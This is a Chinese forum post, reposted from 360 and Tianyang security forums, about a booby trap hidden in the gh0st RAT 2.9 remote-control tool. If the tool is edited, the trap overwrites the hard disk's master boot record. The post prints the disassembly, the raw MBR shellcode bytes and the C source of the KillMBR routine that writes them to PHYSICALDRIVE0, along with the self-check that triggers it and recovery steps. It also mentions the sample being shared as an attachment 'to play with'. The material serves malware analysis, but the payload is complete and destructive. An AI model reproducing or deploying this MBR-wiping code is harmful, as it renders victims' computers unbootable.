红狼也不写个提示,真郁闷,修复了好久.幸亏不是格式化
下面是我在网上找的,大家看看哈:
最近看了下论坛红狼的远控 gh0st发步了2.9的新版本 ,闲着没事,就把他的壳脱了,发现脱壳了看不到
里面的资源,修复后,我试着改改版权,发现一个问题,用反汇编修改后,拒绝启动,呵呵,程序本身有自校验
,{我的理解是,程序发生变化或者改动,调用了退出函数],看着那样我也没有管他,到晚上我安装了一个风
云防火强,需要重新启动电脑的时候发现进不去,只有个一个黑色画面提示I am virus FUCK YOU :-],安
全模式也进不去,出现这样的画面,已经说的很明显,中毒.
百度一下,居然没有查到信息,后来到360论坛才查到关于I am virus FUCK YOU :-]的信息
360的一位牛人分析如下
I am virus简单分析打开物理磁盘，然后锁定卷，写磁盘前５１２字节，解锁关句柄退出
00401000 /$ 81EC 08020000 sub esp,208
00401006 |. 56 push esi
00401007 |. 57 push edi
00401008 |. B9 7F000000 mov ecx,7F
0040100D |. 33C0 xor eax,eax
0040100F |. 8D7C24 11 lea edi,dword ptr ss:[esp+11]
00401013 |. 6A 00 push 0 ; /hTemplateFile = NULL
00401015 |. F3:AB rep stos dword ptr es:[edi] ; |
00401017 |. 66:AB stos word ptr es:[edi] ; |
00401019 |. 6A 00 push 0 ; |Attributes = 0
0040101B |. 6A 03 push 3 ; |Mode = OPEN_EXISTING
0040101D |. AA stos byte ptr es:[edi] ; |
0040101E |. 6A 00 push 0 ; |pSecurity = NULL
00401020 |. B9 0C000000 mov ecx,0C ; |
00401025 |. BE 30604000 mov esi,virus.00406030 ; |
0040102A |. 8D7C24 20 lea edi,dword ptr ss:[esp+20] ; |
0040102E |. 6A 03 push 3 ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00401030 |. 68 000000C0 push C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
00401035 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] ; |
00401037 |. 68 64604000 push virus.00406064 ; |FileName = "
\\.\PHYSICALDRIVE0"
0040103C |. C68424 2A020000 >mov byte ptr ss:[esp+22A],55 ; |
00401044 |. C68424 2B020000 >mov byte ptr ss:[esp+22B],0AA ; |
0040104C |. FF15 10504000 call dword ptr ds:[] ; \CreateFileA
00401052 |. 8BF0 mov esi,eax
00401054 |. 83FE FF cmp esi,-1
00401057 |. 75 0D jnz short virus.00401066
00401059 |. 5F pop edi
0040105A |. 0BC0 or eax,eax
0040105C |. 5E pop esi
0040105D |. 81C4 08020000 add esp,208
00401063 |. C2 1000 retn 10
00401066 |> 8D4424 08 lea eax,dword ptr ss:[esp+8]
0040106A |. 8B3D 0C504000 mov edi,dword ptr ds:[] ; kernel32.DeviceIoControl
00401070 |. 6A 00 push 0 ; /pOverlapped = NULL
00401072 |. 50 push eax ; |pBytesReturned
00401073 |. 6A 00 push 0 ; |OutBufferSize = 0
00401075 |. 6A 00 push 0 ; |OutBuffer = NULL
00401077 |. 6A 00 push 0 ; |InBufferSize = 0
00401079 |. 6A 00 push 0 ; |InBuffer = NULL
0040107B |. 68 18000900 push 90018 ; |IoControlCode = FSCTL_LOCK_VOLUME
00401080 |. 56 push esi ; |hDevice
00401081 |. FFD7 call edi ; \DeviceIoControl
00401083 |. 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
00401087 |. 6A 00 push 0 ; /pOverlapped = NULL
00401089 |. 51 push ecx ; |pBytesWritten
0040108A |. 8D5424 18 lea edx,dword ptr ss:[esp+18] ; |
0040108E |. 68 00020000 push 200 ; |nBytesToWrite = 200 (512.)
00401093 |. 52 push edx ; |Buffer
00401094 |. 56 push esi ; |hFile
00401095 |. FF15 08504000 call dword ptr ds:[] ; \WriteFile
0040109B |. 8D4424 08 lea eax,dword ptr ss:[esp+8]
0040109F |. 6A 00 push 0 ; /pOverlapped = NULL
004010A1 |. 50 push eax ; |pBytesReturned
004010A2 |. 6A 00 push 0 ; |OutBufferSize = 0
004010A4 |. 6A 00 push 0 ; |OutBuffer = NULL
004010A6 |. 6A 00 push 0 ; |InBufferSize = 0
004010A8 |. 6A 00 push 0 ; |InBuffer = NULL
004010AA |. 68 1C000900 push 9001C ; |IoControlCode = FSCTL_UNLOCK_VOLUME
004010AF |. 56 push esi ; |hDevice
004010B0 |. FFD7 call edi ; \DeviceIoControl
004010B2 |. 56 push esi ; /hObject
004010B3 |. FF15 04504000 call dword ptr ds:[] ; \CloseHandle
004010B9 |. 6A FF push -1 ; /ExitCode = FFFFFFFF
004010BB \. FF15 00504000 call dword ptr ds:[] ; \ExitProcess
写入引导扇区的内容
0012FD38 ?.??|?.? ?.? ?恂I am virus! Fuck you :-)................
0012FD78 ................................................................
0012FDB8 ................................................................
0012FDF8 ................................................................
0012FE38 ................................................................
0012FE78 ................................................................
0012FEB8 ................................................................
0012FEF8 ..............................................................U
想了半天还不清楚是那里来的毒,跑到天阳技术论坛和人说,又发现线索,
下面是天阳技术论坛的资料
I am virus FUCK YOU 病毒
最近看了下 红狼的远控 gh0st的源代码 发现里面暗藏着一个病毒， 呵呵 我把它的部分提取出来了。
运行后，重写了你的MBR 当你再次开机的时候 ，你将无法进入系统 出现 I am virus FUCK YOU
的字样，呵呵 我将它发上来，想玩就取玩玩。 记住千万不要在本机里运行，可能导致你硬盘数据
全部丢失（实际上是没丢，可以修复）， 要试验在虚拟机进行吧，
具体解决方法如下
首先找一张带PE系统的光盘,然后开机按DEL键盘,进入COMS,选择PE进去,进去之后,会和正常电脑一样
不用管他
选择开始菜单,有个磁盘修复,会弹出一个对话筐,你电脑有分几个区,就有几个盘,选中一个右键盘,修复
引导分区,点自动就可以了,记得每个盘都要修复,修复完了保存,确定,重新启动电脑就可以了,我修复了
两次才好的.
MJ0011 2008-04-22 14:06
被改写的MBR代码:
作用是清屏并显示字符:"'I am virus! Fuck you :-)",然后进入死循环
seg000:0000 mov ax, 12h
seg000:0003 int 10h ; - VIDEO - SET VIDEO MODE
seg000:0003 ; AL = mode
seg000:0005 mov bp, 7C18h ; string start addr
seg000:0008 mov cx, 18h ; string length
seg000:000B mov ax, 1301h
seg000:000E mov bx, 0Ch
seg000:0011 mov dx, 0E1Dh
seg000:0014 int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
seg000:0014 ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
seg000:0014 ; DH,DL = row,column of starting cursor position, CX = length of string
seg000:0014 ; ES:BP -> start of string
seg000:0014
seg000:0016
seg000:0016 ForeverLoop: ; CODE XREF: seg000:ForeverLoopj
seg000:0016 loop ForeverLoop
seg000:0016
seg000:0016 ; ---------------------------------------------------------------------------
seg000:0018 s_IAmVirusFuckY db 'I am virus! Fuck you :-)'
seg000:0018 seg000 ends
写入MBR的C代码:
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
// HANDLE hDevice;
// DWORD dwBytesWritten, dwBytesReturned;
// BYTE pMBR[512] = {0};
//
// // 重新构造MBR
// memcpy(pMBR, scode, sizeof(scode) - 1);
// pMBR[510] = 0x55;
// pMBR[511] = 0xAA;
//
// hDevice = CreateFile
// (
// "\\\\.\\PHYSICALDRIVE0",
// GENERIC_READ | GENERIC_WRITE,
// FILE_SHARE_READ | FILE_SHARE_WRITE,
// NULL,
// OPEN_EXISTING,
// 0,
// NULL
// );
// if (hDevice == INVALID_HANDLE_VALUE)
// return -1;
// DeviceIoControl
// (
// hDevice,
// FSCTL_LOCK_VOLUME,
// NULL,
// 0,
// NULL,
// 0,
// &dwBytesReturned,
// NULL
// );
// // 写入病毒内容
// WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
// DeviceIoControl
// (
// hDevice,
// FSCTL_UNLOCK_VOLUME,
// NULL,
// 0,
// NULL,
// 0,
// &dwBytesReturned,
// NULL
// );
// CloseHandle(hDevice);
//
// ExitProcess(-1);
return 0;
}
MJ0011 2008-04-22 14:10
判断部分：
char strVer[10];
char strTitle[10];
strVer[0] = 'C';
strVer[1] = '.';
strVer[2] = 'R';
strVer[3] = 'u';
strVer[4] = 'f';
strVer[5] = 'u';
strVer[6] = 's';
strVer[7] = ' ';
strVer[8] = 'S';
strVer[9] = '\0';
strTitle[0] = 'G';
strTitle[1] = 'h';
strTitle[2] = '0';
strTitle[3] = 's';
strTitle[4] = 't';
strTitle[5] = ' ';
strTitle[6] = 'R';
strTitle[7] = 'A';
strTitle[8] = 'T';
strTitle[9] = '\0';
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
// if (str.Find(strVer) == -1)
// ((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
// if (str.Find(strTitle) == -1)
// ((CGh0stApp *)AfxGetApp())->KillMBR();
//判断自己的标题被改了，就KILL MBR
不过写MBR的方法很挫，会被HIPS报警，而且不能穿透还原或影子
virus.rar
